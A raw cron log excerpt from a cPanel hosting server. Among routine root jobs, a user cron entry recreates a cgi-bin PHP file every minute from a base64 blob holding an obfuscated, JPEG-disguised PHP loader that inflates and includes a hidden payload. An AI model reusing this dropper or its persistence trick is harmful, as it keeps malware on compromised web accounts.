J5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:17:01 server CROND[19510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:17:01 server CROND[19509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:17:01 server CROND[19511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:18:01 server CROND[19898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:18:01 server CROND[19897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:18:01 server CROND[19899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:19:01 server CROND[20323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:19:01 server CROND[20324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:19:01 server CROND[20325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:20:01 server CROND[20721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:20:01 server CROND[20722]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:20:01 server CROND[20725]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:20:01 server CROND[20723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 10:20:01 server CROND[20724]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 10:20:01 server CROND[20726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:20:01 server CROND[20727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:20:01 server CROND[20733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:20:01 server CROND[20729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:21:01 server CROND[21667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:21:01 server CROND[21669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:21:01 server CROND[21668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:22:01 server CROND[22053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:22:01 server CROND[22054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:22:01 server CROND[22055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:23:01 server CROND[22431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:23:01 server CROND[22432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:23:01 server CROND[22433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:24:01 server CROND[22961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:24:01 server CROND[22963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:24:01 server CROND[22962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:25:01 server CROND[23399]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 10:25:01 server CROND[23402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:25:01 server CROND[23401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:25:01 server CROND[23405]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:25:01 server CROND[23403]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 10:25:01 server CROND[23408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:25:01 server CROND[23407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:25:01 server CROND[23404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:26:01 server CROND[24330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:26:01 server CROND[24331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:26:01 server CROND[24332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:27:01 server CROND[24717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:27:01 server CROND[24718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:27:01 server CROND[24719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:27:01 server CROND[24720]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 10:28:01 server CROND[25107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:28:01 server CROND[25109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:28:01 server CROND[25108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
